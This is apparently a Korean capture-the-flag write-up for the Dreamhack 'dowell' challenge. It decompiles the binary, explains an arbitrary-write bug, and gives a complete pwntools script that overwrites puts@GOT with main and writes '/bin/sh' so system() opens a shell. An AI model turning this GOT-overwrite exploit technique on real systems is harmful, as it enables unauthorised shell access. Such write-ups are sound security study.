dreamhack - dowell writeup
[dreamhack] dowell writeup
1. 문제

dowell
We all do well to get shell!
https://dreamhack.io/wargame/challenges/15682. 풀이
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s[2]; // [rsp+0h] [rbp-10h] BYREF
s[1] = (char *)__readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
system(st);
printf("one chance for flag");
putchar(10);
printf("pt: ");
__isoc99_scanf("%d", s);
printf("input: ");
__isoc99_scanf("%s", s[0]);
printf("your input:");
puts(s[0]);
return 0;
}
소스코드가 없어서 ida로 까본 코드이다.
먼저 st
에 들어간 값으로 system()
함수를 실행한다.
그리고 s
변수에 %d
로 입력을 받고, s[0]
에 들어갈 값을 %s
로 입력받는다. 그 이후에 s[0]
에 들어간 값을 출력해주고 종료한다.
사실상 임의주소에 원하는 값을 쓸 수 있는 취약점이다.
st
에 들어간 값은 아래와 같다.
echo "I do well at getting the flag"
그래서 st
에 우리가 원하는 /bin/sh
를 넣으면 될 것 같은데, 입력받는 부분이 더 뒤에 있기 때문에 어렵다.
그래서 puts@got
에 main
함수의 주소를 넣어서 다시 main
을 실행시킨 다음, st
변수의 위치에 /bin/sh
문자열을 넣어주도록 했다.
그런데 예상대로 안되길래 gdb
를 봤더니 주소앞에 0x7fff
가 붙어있어서 진짜 한참을 고민했는데 아니나다를까 Dockerfile
이 주어졌던 문제였고, 도커 환경에서 하면 주소에 아무것도 없다… 항상 도커파일이 주어지면 환경에 맞추어서 하자…
from pwn import *
p = process("./prob")
#p = remote("host3.dreamhack.games", 12035)
elf = ELF("./prob")
puts_got = elf.got["puts"]
p.sendlineafter(b"pt: ", str(int(puts_got)))
p.sendlineafter(b"input: ", p64(elf.symbols["main"]))
p.sendlineafter(b"pt: ", str(int(0x404080)))
p.sendlineafter(b"input: ", b'/bin/sh\x00')
p.interactive()
이렇게 쉽게 끝날 코드를…
아무튼 해결~